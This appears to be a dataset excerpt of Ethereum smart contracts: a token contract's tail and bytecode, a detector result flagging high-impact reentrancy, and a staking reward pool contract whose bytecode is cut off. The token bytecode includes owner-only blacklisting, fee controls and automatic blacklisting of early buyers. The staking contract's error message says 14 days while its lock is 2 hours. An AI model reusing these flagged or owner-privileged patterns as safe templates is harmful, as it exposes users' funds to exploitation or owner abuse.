swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054f578063dd62ed3e14610565578063ea1644d5146105ab578063f2fde38b146105cb57600080fd5b8063a9059cbb146104ca578063bfd79284146104ea578063c3c8cd801461051a578063c492f0461461052f57600080fd5b80638f9a55c0116100d15780638f9a55c01461044757806395d89b411461045d57806398a5c3151461048a578063a2a957bb146104aa57600080fd5b80637d1db4a5146103f35780638da5cb5b146104095780638f70ccf71461042757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038957806370a082311461039e578063715018a6146103be57806374010ece146103d357600080fd5b8063313ce5671461030d57806349bd5a5e146103295780636b999053146103495780636d8aa8f81461036957600080fd5b80631694505e116101ab5780631694505e1461027957806318160ddd146102b157806323b872dd146102d75780632fd689e3146102f757600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024957600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611a18565b6105eb565b005b34801561020a57600080fd5b5060408051808201909152601081526f2a3432902237b3b29026b4b9b9b4b7b760811b60208201525b6040516102409190611add565b60405180910390f35b34801561025557600080fd5b50610269610264366004611b32565b61068a565b6040519015158152602001610240565b34801561028557600080fd5b50601554610299906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b3480156102bd57600080fd5b50683635c9adc5dea000005b604051908152602001610240565b3480156102e357600080fd5b506102696102f2366004611b5e565b6106a1565b34801561030357600080fd5b506102c960195481565b34801561031957600080fd5b5060405160098152602001610240565b34801561033557600080fd5b50601654610299906001600160a01b031681565b34801561035557600080fd5b506101fc610364366004611b9f565b61070a565b34801561037557600080fd5b506101fc610384366004611bcc565b610755565b34801561039557600080fd5b506101fc61079d565b3480156103aa57600080fd5b506102c96103b9366004611b9f565b6107e8565b3480156103ca57600080fd5b506101fc61080a565b3480156103df57600080fd5b506101fc6103ee366004611be7565b61087e565b3480156103ff57600080fd5b506102c960175481565b34801561041557600080fd5b506000546001600160a01b0316610299565b34801561043357600080fd5b506101fc610442366004611bcc565b6108ad565b34801561045357600080fd5b506102c960185481565b34801561046957600080fd5b506040805180820190915260048152632226a9a760e11b6020820152610233565b34801561049657600080fd5b506101fc6104a5366004611be7565b6108fa565b3480156104b657600080fd5b506101fc6104c5366004611c00565b610929565b3480156104d657600080fd5b506102696104e5366004611b32565b610967565b3480156104f657600080fd5b50610269610505366004611b9f565b60116020526000908152604090205460ff1681565b34801561052657600080fd5b506101fc610974565b34801561053b57600080fd5b506101fc61054a366004611c32565b6109c8565b34801561055b57600080fd5b506102c960085481565b34801561057157600080fd5b506102c9610580366004611cb6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b757600080fd5b506101fc6105c6366004611be7565b610a69565b3480156105d757600080fd5b506101fc6105e6366004611b9f565b610a98565b6000546001600160a01b0316331461061e5760405162461bcd60e51b815260040161061590611cef565b60405180910390fd5b60005b81518110156106865760016011600084848151811061064257610642611d24565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067e81611d50565b915050610621565b5050565b6000610697338484610b82565b5060015b92915050565b60006106ae848484610ca6565b61070084336106fb85604051806060016040528060288152602001611e6a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611259565b610b82565b5060019392505050565b6000546001600160a01b031633146107345760405162461bcd60e51b815260040161061590611cef565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077f5760405162461bcd60e51b815260040161061590611cef565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d257506014546001600160a01b0316336001600160a01b0316145b6107db57600080fd5b476107e581611293565b50565b6001600160a01b03811660009081526002602052604081205461069b90611318565b6000546001600160a01b031633146108345760405162461bcd60e51b815260040161061590611cef565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a85760405162461bcd60e51b815260040161061590611cef565b601755565b6000546001600160a01b031633146108d75760405162461bcd60e51b815260040161061590611cef565b60168054911515600160a01b0260ff60a01b199092169190911790556003600855565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040161061590611cef565b601955565b6000546001600160a01b031633146109535760405162461bcd60e51b815260040161061590611cef565b600993909355600b91909155600a55600c55565b6000610697338484610ca6565b6013546001600160a01b0316336001600160a01b031614806109a957506014546001600160a01b0316336001600160a01b0316145b6109b257600080fd5b60006109bd306107e8565b90506107e58161139c565b6000546001600160a01b031633146109f25760405162461bcd60e51b815260040161061590611cef565b60005b82811015610a63578160056000868685818110610a1457610a14611d24565b9050602002016020810190610a299190611b9f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5b81611d50565b9150506109f5565b50505050565b6000546001600160a01b03163314610a935760405162461bcd60e51b815260040161061590611cef565b601855565b6000546001600160a01b03163314610ac25760405162461bcd60e51b815260040161061590611cef565b6001600160a01b038116610b275760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610615565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610615565b6001600160a01b038216610c455760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610615565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d0a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610615565b6001600160a01b038216610d6c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610615565b60008111610dce5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610615565b6000546001600160a01b03848116911614801590610dfa57506000546001600160a01b03838116911614155b1561115257601654600160a01b900460ff16610e93576000546001600160a01b03848116911614610e935760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610615565b601754811115610ee55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610615565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2757506001600160a01b03821660009081526011602052604090205460ff16155b610f7f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610615565b6008544311158015610f9e57506016546001600160a01b038481169116145b8015610fb857506015546001600160a01b03838116911614155b8015610fcd57506001600160a01b0382163014155b15610ff6576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b0383811691161461107b5760185481611018846107e8565b6110229190611d6b565b1061107b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610615565b6000611086306107e8565b60195460175491925082101590821061109f5760175491505b8080156110b65750601654600160a81b900460ff16155b80156110d057506016546001600160a01b03868116911614155b80156110e55750601654600160b01b900460ff165b801561110a57506001600160a01b03851660009081526005602052604090205460ff16155b801561112f57506001600160a01b03841660009081526005602052604090205460ff16155b1561114f5761113d8261139c565b47801561114d5761114d47611293565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119457506001600160a01b03831660009081526005602052604090205460ff165b806111c657506016546001600160a01b038581169116148015906111c657506016546001600160a01b03848116911614155b156111d35750600061124d565b6016546001600160a01b0385811691161480156111fe57506015546001600160a01b03848116911614155b1561121057600954600d55600a54600e555b6016546001600160a01b03848116911614801561123b57506015546001600160a01b03858116911614155b1561124d57600b54600d55600c54600e555b610a6384848484611525565b6000818484111561127d5760405162461bcd60e51b81526004016106159190611add565b50600061128a8486611d83565b95945050505050565b6013546001600160a01b03166108fc6112ad836002611553565b6040518115909202916000818181858888f193505050501580156112d5573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112f0836002611553565b6040518115909202916000818181858888f19350505050158015610686573d6000803e3d6000fd5b600060065482111561137f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610615565b6000611389611595565b90506113958382611553565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113e4576113e4611d24565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561143857600080fd5b505afa15801561144c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114709190611d9a565b8160018151811061148357611483611d24565b6001600160a01b0392831660209182029290920101526015546114a99130911684610b82565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e2908590600090869030904290600401611db7565b600060405180830381600087803b1580156114fc57600080fd5b505af1158015611510573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611532576115326115b8565b61153d8484846115e6565b80610a6357610a63600f54600d55601054600e55565b600061139583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116dd565b60008060006115a261170b565b90925090506115b18282611553565b9250505090565b600d541580156115c85750600e54155b156115cf57565b600d8054600f55600e805460105560009182905555565b6000806000806000806115f88761174d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162a90876117aa565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461165990866117ec565b6001600160a01b03891660009081526002602052604090205561167b8161184b565b6116858483611895565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116ca91815260200190565b60405180910390a3505050505050505050565b600081836116fe5760405162461bcd60e51b81526004016106159190611add565b50600061128a8486611e28565b6006546000908190683635c9adc5dea000006117278282611553565b82101561174457505060065492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061176a8a600d54600e546118b9565b925092509250600061177a611595565b9050600080600061178d8e87878761190e565b919e509c509a509598509396509194505050505091939550919395565b600061139583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611259565b6000806117f98385611d6b565b9050838110156113955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610615565b6000611855611595565b90506000611863838361195e565b3060009081526002602052604090205490915061188090826117ec565b30600090815260026020526040902055505050565b6006546118a290836117aa565b6006556007546118b290826117ec565b6007555050565b60008080806118d360646118cd898961195e565b90611553565b905060006118e660646118cd8a8961195e565b905060006118fe826118f88b866117aa565b906117aa565b9992985090965090945050505050565b600080808061191d888661195e565b9050600061192b888761195e565b90506000611939888861195e565b9050600061194b826118f886866117aa565b939b939a50919850919650505050505050565b60008261196d5750600061069b565b60006119798385611e4a565b9050826119868583611e28565b146113955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610615565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e557600080fd5b8035611a13816119f3565b919050565b60006020808385031215611a2b57600080fd5b823567ffffffffffffffff80821115611a4357600080fd5b818501915085601f830112611a5757600080fd5b813581811115611a6957611a696119dd565b8060051b604051601f19603f83011681018181108582111715611a8e57611a8e6119dd565b604052918252848201925083810185019188831115611aac57600080fd5b938501935b82851015611ad157611ac285611a08565b84529385019392850192611ab1565b98975050505050505050565b600060208083528351808285015260005b81811015611b0a57858101830151858201604001528201611aee565b81811115611b1c576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b4557600080fd5b8235611b50816119f3565b946020939093013593505050565b600080600060608486031215611b7357600080fd5b8335611b7e816119f3565b92506020840135611b8e816119f3565b929592945050506040919091013590565b600060208284031215611bb157600080fd5b8135611395816119f3565b80358015158114611a1357600080fd5b600060208284031215611bde57600080fd5b61139582611bbc565b600060208284031215611bf957600080fd5b5035919050565b60008060008060808587031215611c1657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c4757600080fd5b833567ffffffffffffffff80821115611c5f57600080fd5b818601915086601f830112611c7357600080fd5b813581811115611c8257600080fd5b8760208260051b8501011115611c9757600080fd5b602092830195509350611cad9186019050611bbc565b90509250925092565b60008060408385031215611cc957600080fd5b8235611cd4816119f3565b91506020830135611ce4816119f3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611d6457611d64611d3a565b5060010190565b60008219821115611d7e57611d7e611d3a565b500190565b600082821015611d9557611d95611d3a565b500390565b600060208284031215611dac57600080fd5b8151611395816119f3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e075784516001600160a01b031683529383019391830191600101611de2565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e4557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e6457611e64611d3a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204dfb122cc974f742ebe244379cda8489efa7cb586c27b522aac5cd7e1b6579ab64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,444
0xa4e3494c5426d3b699b20DE94d304f5750e02374
// Created By BitDNS.vip // contact : Reward Pool // SPDX-License-Identifier: MIT pragma solidity ^0.5.8; // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract IMinableERC20 is IERC20 { function mint(address account, uint amount) public; } contract RewardLockPool { using SafeMath for uint256; using Address for address; using SafeERC20 for IERC20; using SafeERC20 for IMinableERC20; IERC20 public stakeToken; IMinableERC20 public rewardToken; bool public started; uint256 public totalSupply; uint256 public rewardFinishTime = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; mapping(address => uint256) public balanceOf; mapping(address => uint256) public lockTimeOf; address private governance; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount, uint256 beforeT, uint256 afterT); event Withdrawn(address indexed user, uint256 amount, uint256 beforeT, uint256 afterT); event RewardPaid(address indexed user, uint256 reward, uint256 beforeT, uint256 afterT); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } modifier onlyOwner() { require(msg.sender == governance, "!governance"); _; } constructor () public { governance = msg.sender; } function start(address stake_token, address reward_token, uint256 reward, uint256 duration) public onlyOwner { require(!started, "already started"); require(stake_token != address(0) && stake_token.isContract(), "stake token is non-contract"); require(reward_token != address(0) && reward_token.isContract(), "reward token is non-contract"); started = true; stakeToken = IERC20(stake_token); rewardToken = IMinableERC20(reward_token); rewardRate = reward.mul(1e18).div(duration); lastUpdateTime = block.timestamp; rewardFinishTime = block.timestamp.add(duration); } function lastTimeRewardApplicable() internal view returns (uint256) { return block.timestamp < rewardFinishTime ? block.timestamp : rewardFinishTime; } function rewardPerToken() public view returns (uint256) { if (totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply) ); } function earned(address account) public view returns (uint256) { return balanceOf[account] .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function stake(uint256 amount) public updateReward(msg.sender) { require(started, "Not start yet"); require(amount > 0, "Cannot stake 0"); require(stakeToken.balanceOf(msg.sender) >= amount, "insufficient balance to stake"); uint256 beforeT = stakeToken.balanceOf(address(this)); stakeToken.safeTransferFrom(msg.sender, address(this), amount); totalSupply = totalSupply.add(amount); balanceOf[msg.sender] = balanceOf[msg.sender].add(amount); uint256 afterT = stakeToken.balanceOf(address(this)); // Add Lock Time Begin: lockTimeOf[msg.sender] = block.timestamp.add(2 hours); // Add Lock Time End!!! emit Staked(msg.sender, amount, beforeT, afterT); } function withdraw(uint256 amount) public updateReward(msg.sender) { require(started, "Not start yet"); require(amount > 0, "Cannot withdraw 0"); require(balanceOf[msg.sender] >= amount, "Insufficient balance to withdraw"); // Add Lock Time Begin: require(canWithdraw(msg.sender), "Must be locked for 14 days or Mining ended"); // Add Lock Time End!!! uint256 beforeT = stakeToken.balanceOf(address(this)); totalSupply = totalSupply.sub(amount); balanceOf[msg.sender] = balanceOf[msg.sender].sub(amount); stakeToken.safeTransfer(msg.sender, amount); uint256 afterT = stakeToken.balanceOf(address(this)); emit Withdrawn(msg.sender, amount, beforeT, afterT); } function exit() external { require(started, "Not start yet"); withdraw(balanceOf[msg.sender]); getReward(); } function getReward() public updateReward(msg.sender) { require(started, "Not start yet"); uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; uint256 beforeT = rewardToken.balanceOf(address(this)); rewardToken.mint(msg.sender, reward); //rewardToken.safeTransfer(msg.sender, reward); uint256 afterT = rewardToken.balanceOf(address(this)); emit RewardPaid(msg.sender, reward, beforeT, afterT); } } // Add Lock Time Begin: function canWithdraw(address account) public view returns (bool) { return started && (balanceOf[account] > 0) && (block.timestamp >= lockTimeOf[account] || block.timestamp >= rewardFinishTime); } // Add Lock Time End!!! }
0x608060405234801561001057600080fd5b506004361061012b5760003560e01c80636b419bf7116100ad578063c8f33c9111610071578063c8f33c91146104e8578063cd3daf9d14610506578063df136d6514610524578063e9fad8ee14610542578063f7c618c11461054c5761012b565b80636b419bf7146103ce57806370a08231146103ec5780637b0a47ee146104445780638b87634714610462578063a694fc3a146104ba5761012b565b80631f2698ab116100f45780631f2698ab146102d25780632a7d61b7146102f45780632e1a7d4d1461034c5780633d18b9121461037a57806351ed6a30146103845761012b565b80628cc262146101305780630700037d146101885780630f4c5fac146101e057806318160ddd1461025857806319262d3014610276575b600080fd5b6101726004803603602081101561014657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610596565b6040518082815260200191505060405180910390f35b6101ca6004803603602081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106b4565b6040518082815260200191505060405180910390f35b610256600480360360808110156101f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506106cc565b005b610260610a9a565b6040518082815260200191505060405180910390f35b6102b86004803603602081101561028c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa0565b604051808215151515815260200191505060405180910390f35b6102da610b5c565b604051808215151515815260200191505060405180910390f35b6103366004803603602081101561030a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b6f565b6040518082815260200191505060405180910390f35b6103786004803603602081101561036257600080fd5b8101908080359060200190929190505050610b87565b005b610382611190565b005b61038c611633565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103d6611658565b6040518082815260200191505060405180910390f35b61042e6004803603602081101561040257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061165e565b6040518082815260200191505060405180910390f35b61044c611676565b6040518082815260200191505060405180910390f35b6104a46004803603602081101561047857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061167c565b6040518082815260200191505060405180910390f35b6104e6600480360360208110156104d057600080fd5b8101908080359060200190929190505050611694565b005b6104f0611d32565b6040518082815260200191505060405180910390f35b61050e611d38565b6040518082815260200191505060405180910390f35b61052c611dc6565b6040518082815260200191505060405180910390f35b61054a611dcc565b005b610554611ea0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60006106ad600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461069f670de0b6b3a7640000610691610643600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610635611d38565b611ec690919063ffffffff16565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1090919063ffffffff16565b611f9690919063ffffffff16565b611fe090919063ffffffff16565b9050919050565b60086020528060005260406000206000915090505481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461078f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160149054906101000a900460ff1615610812576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f616c72656164792073746172746564000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561086a57506108698473ffffffffffffffffffffffffffffffffffffffff16612068565b5b6108dc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f7374616b6520746f6b656e206973206e6f6e2d636f6e7472616374000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561093457506109338373ffffffffffffffffffffffffffffffffffffffff16612068565b5b6109a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f72657761726420746f6b656e206973206e6f6e2d636f6e74726163740000000081525060200191505060405180910390fd5b60018060146101000a81548160ff021916908315150217905550836000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a6e81610a60670de0b6b3a764000085611f1090919063ffffffff16565b611f9690919063ffffffff16565b60048190555042600581905550610a8e8142611fe090919063